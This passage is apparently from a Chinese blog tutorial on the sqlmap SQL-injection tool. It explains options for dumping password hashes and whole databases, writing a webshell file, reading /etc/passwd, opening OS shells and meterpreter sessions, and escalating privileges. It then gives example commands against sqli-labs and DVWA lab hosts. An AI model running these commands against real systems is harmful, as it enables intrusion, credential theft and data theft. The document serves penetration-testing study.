  1. --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
  2. --time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
  3. --union-cols=UCOLS 联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
  4. --union-char=UCHAR 联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
  5. --union-from=UFROM 联合查询从之前的查询结果中选择列,和上面的类似。
  6. --dns-domain=DNS.. 如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
  7. --second-order=S.. 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php
Fingerprint
  1. -f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。
Enumeration
  1. -a, --all 查找全部,很暴力。直接用-a
  2. -b, --banner 查找数据库管理系统的标识。直接用-b
  3. --current-user 当前用户,常用,直接用--current-user
  4. --current-db 当前数据库,常用,直接用--current-db
  5. --hostname 主机名,直接用--hostname
  6. --is-dba
  7. --users 查询一共都有哪些用户,常用,直接用--users
  8. --passwords 查询用户密码的哈希,常用,直接用--passwords
  9. --privileges 查看特权,常用。例: --privileges -U username (CU 就是当前用户)
  10. --roles 查看一共有哪些角色(权限),直接用--roles
  11. --dbs 目标服务器中有什么数据库,常用,直接用--dbs
  12. --tables 目标数据库有什么表,常用,直接用--tables
  13. --columns 目标表中有什么列,常用,直接用--colums
  14. --schema 目标数据库数据库系统管理模式。
  15. --count 查询结果返回一个数字,即多少个。
  16. --dump 查询指定范围的全部数据。例: --dump -D admin -T admin -C username
  17. --dump-all 查询全部数据。例: --dump-all --exclude-sysdbs
  18. --search 搜索列、表和/或数据库名称。
  19. --comments 检索数据库的备注。
  20. -D DB 指定从某个数据库查询数据,常用。例: -D admindb
  21. -T TBL 指定从某个表查询数据,常用。例: -T admintable
  22. -C COL 指定从某个列查询数据,常用。例: -C username
  23. -X EXCLUDE 指定数据库的标识符。
  24. -U USER 一个用户,通常和其他连用。例: --privileges -U username (CU 就是当前用户)
  25. --exclude-sysdbs 除了系统数据库。
  26. --pivot-column=P.. 枢轴列名,不懂。
  27. --where=DUMPWHERE 在dump表时使用where限制条件。
  28. --start=LIMITSTART 设置一个起始,通常和--dunmp连用。
  29. --stop=LIMITSTOP 同上,设置一个结束。
  30. --first=FIRSTCHAR 以第一个查询输出的字符检索,不懂。
  31. --last=LASTCHAR 以最后一个查询输出的字符检索,不懂+2。
  32. --sql-query=QUERY 执行一个sql语句。
  33. --sql-shell 创建一个sql的shell。
  34. --sql-file=SQLFILE 执行一个给定文件中的sql语句
Brute force
  1. --common-tables 检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。
  2. --common-columns 有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。
User-defined function injection
  1. --udf-inject 编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。
  2. --shared-lib=SHLIB 同上,不懂。
File system access
  1. --file-read=RFILE 读取目标站点的一个文件。例: --file-read="/etc/password"
  2. --file-write=WFILE 写入到目标站点的一个文件,通常和--sql-query 连用。例: --sql-query="select "一句话木马" --file-write="shell.php"
  3. --file-dest=DFILE 同上,只是使用绝对路径写入。
Operating system access
  1. --os-cmd=OSCMD 执行一句系统命令。例: --os-shell="ipconfig -all"
  2. --os-shell 创建一个对方操作系统的shell,远程执行系统命令。直接用即可--os-shell
  3. --os-pwn 同上,获取一个OOB shell,meterpreter或VNC。
  4. --os-smbrelay 同上,一键获取一个OOB shell,meterpreter或VNC。
  5. --os-bof 利用缓冲区溢出。
  6. --priv-esc 自动提权,数据库进程用户权限提升。
  7. --msf-path=MSFPATH Metasploit Framework本地的安装路径。
  8. --tmp-path=TMPPATH 远程临时文件目录的绝对路径。
Windows registry access
  1. --reg-read 读一个Windows注册表。
  2. --reg-add 添加一个注册表。
  3. --reg-del 删一个注册表。
  4. --reg-key=REGKEY 和之前连用,注册表key值。
  5. --reg-value=REGVAL 和之前连用,注册表值。
  6. --reg-data=REGDATA 和之前连用,注册表数据。
  7. --reg-type=REGTYPE 和之前连用,注册表类别。
General
  1. -s SESSIONFILE 从一个文件加载保存的session。
  2. -t TRAFFICFILE 记录流文件的保存位置。
  3. --batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
  4. --binary-fields=.. 指定二进制结果的字段。
  5. --check-internet 在评估目标之前检查互联网连接,新功能。
  6. --crawl=CRAWLDEPTH 从起始位置爬取的深度。例: --crawl=3
  7. --crawl-exclude=.. 除了哪些页面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
  8. --csv-del=CSVDEL 指定在CSV输出中使用的分隔字符。
  9. --charset=CHARSET 强制字符串编码。例: --charset=GBK
  10. --dump-format=DU.. 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。
  11. --encoding=ENCOD.. 用于数据检索的字符编码。例: --encoding=GBK
  12. --eta 显示每个输出的预计到达时间 。
  13. --flush-session 清空会话信息。
  14. --forms 在目标URL上解析和测试表单。
  15. --fresh-queries sqlmap每次查询都会讲查询结果储存在.sqlmap文件夹中,下次再有相同测查询会调用上次的查询结果,使用这个参数可以忽略文件中有的记载结果,重新查询。
  16. --har=HARFILE 将所有http流量记录在一个har文件中。
  17. --hex dump非ascii字符时,将其编码为16进制,收到后解码还原。
  18. --output-dir=OUT.. 输出结果至文件。例: --output-dir=/tmp
  19. --parse-errors 解析并显示报错信息。
  20. --save=SAVECONFIG 将使用的命令保存到配置ini文件
  21. --scope=SCOPE 和-l类似,只是这个可以过滤信息,使用正则表达式过滤网址。
  22. --test-filter=TE.. 根据有效负载和/或标题,不懂。
  23. --test-skip=TEST.. 根据有效负载和/或标题跳过测试,不懂+2
  24. --update 更新sqlmap。
Miscellaneous
  1. -z MNEMONICS 参数助记符,比较傻的一个功能。例: -z "bat,randoma,ign,tec=BEU" 其实就是只要你写的字母可以唯一匹配其他参数,就可以生效。
  2. --alert=ALERT 在找到SQL注入时运行主机OS命令。
  3. --answers=ANSWERS 设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer "extending=N"
  4. --beep 在问题和/或当SQL注入被发现时发出嘟嘟声。。。。。。。。。
  5. --cleanup 从SqLMAP特定的UDF和表中找数据库,类似暴力破解。
  6. --dependencies 检查缺少的Sql映射依赖项。
  7. --disable-coloring 禁用控制台输出着色。
  8. --gpage=GOOGLEPAGE 在指定页使用google结果,不懂。
  9. --identify-waf 识别目标的防火墙。
  10. --mobile cosplay 手机。
  11. --offline 在脱机模式下工作。
  12. --purge-output 情况输出文件夹。
  13. --skip-waf 跳过WAF/IPS/IDS保护的启发式检测。
  14. --smart 有大量检测目标时候,只选择基于错误的检测。
  15. --sqlmap-shell 创建一个交互的sqlmap_shell,不懂。
  16. --tmp-dir=TMPDIR 更改存储临时文件的本地目录。
  17. --web-root=WEBROOT 设置Web服务器文档根目录。例: --web-root="/var/www"
  18. --wizard 新手教程。

6. 列

post请求
  1. sqlmap -u http://10.10.20.20/sqli/Less-11/ --method=post --data='uname=admin&passwd=admin&submit=Submit' --dbs --users
  2. sqlmap -u http://10.10.20.20/sqli/Less-11/ --method=post --data='uname=admin&passwd=admin&submit=Submit' -D security --tables
  3. sqlmap -u http://10.10.20.20/sqli/Less-11/  --data='uname=admin&passwd=admin&submit=Submit' --dbs -b

--param-del 制定data数据的分割符

  1. sqlmap -u http://10.10.20.20/sqli/Less-11/  --data='uname=admin&passwd=admin&submit=Submit'  --param-del='&' -dbs -b
  2. sqlmap -u http://10.10.20.20/sqli/Less-11/  --data='uname=admin&passwd=admin&submit=Submit'  --param-del="&" -D security --tables
cookie 注入
  1. sqlmap -r /root/Desktop/cookie.txt --level 2 -p uname
  2. cat cookie.txt
  3. GET /sqli/Less-20/index.php HTTP/1.1
  4. Host: 10.10.20.20
  5. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  7. Accept-Language: en-US,en;q=0.5
  8. Accept-Encoding: gzip, deflate
  9. Referer: http://10.10.20.20/sqli/Less-20/
  10. DNT: 1
  11. Connection: close
  12. Cookie: uname=admin; PHPSESSID=rp287ad1irpfcb9gcpr1u9eil3
  13. Upgrade-Insecure-Requests: 1
  14. Cache-Control: max-age=0    
  • 对http cookie值进行探测,需要设置 --level 2 及以上的

web基于cookie验证的注入
  1. sqlmap -u "http://10.10.20.20/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=rp287ad1irpfcb9gcpr1u9eil3' --dbs
  2. sqlmap -u "http://10.10.20.20/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "security=low; PHPSESSID=rp287ad1irpfcb9gcpr1u9eil3" -b

自定义user-agent头

抓包默认的 user-agent :sqlmap/1.6#stable (https://sqlmap.org)

  1. sqlmap -u "http://10.10.20.20/sqli/Less-2/?id=1"   --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" --dbs
  2. sqlmap -u "http://10.10.20.20/sqli/Less-2/?id=1"   --random-agent  --dbs          #随机user-agent
  3. ls /usr/share/sqlmap/data/txt/user-agents.txt

user-agent 注入

  • *号 指定探测位置

  • 针对user-agent的值探测sql注入,需要设置 --level 3 及以上

  1. sqlmap -r /root/Desktop/t.txt --level 3 -dbs    #user-agent 注入
  2. custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q]  #user-agent 后加*号 指定位置探测

伪造http referer值

  • 对请求头探测需要 level 3 及以上的级别

设置http其他标头

  • 默认情况从目标的url解析http 主机头

  • *号指定位置探测

  • --level 5 将对http主机头进行sql注入检测

  1. sqlmap -r /root/Desktop/t.txt  -b  
  2. sqlmap -u "http://10.10.20.20/sqli/Less-1/?id=1" --headers="user-agent:tefafa\nAccept-Language:en-cntert"
  3. #/n 分割 设置host   user-agent   referer   #自定义http标头

设置http协议认证参数

--auth-type

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/894887
推荐阅读
相关标签
  

闽ICP备14008679号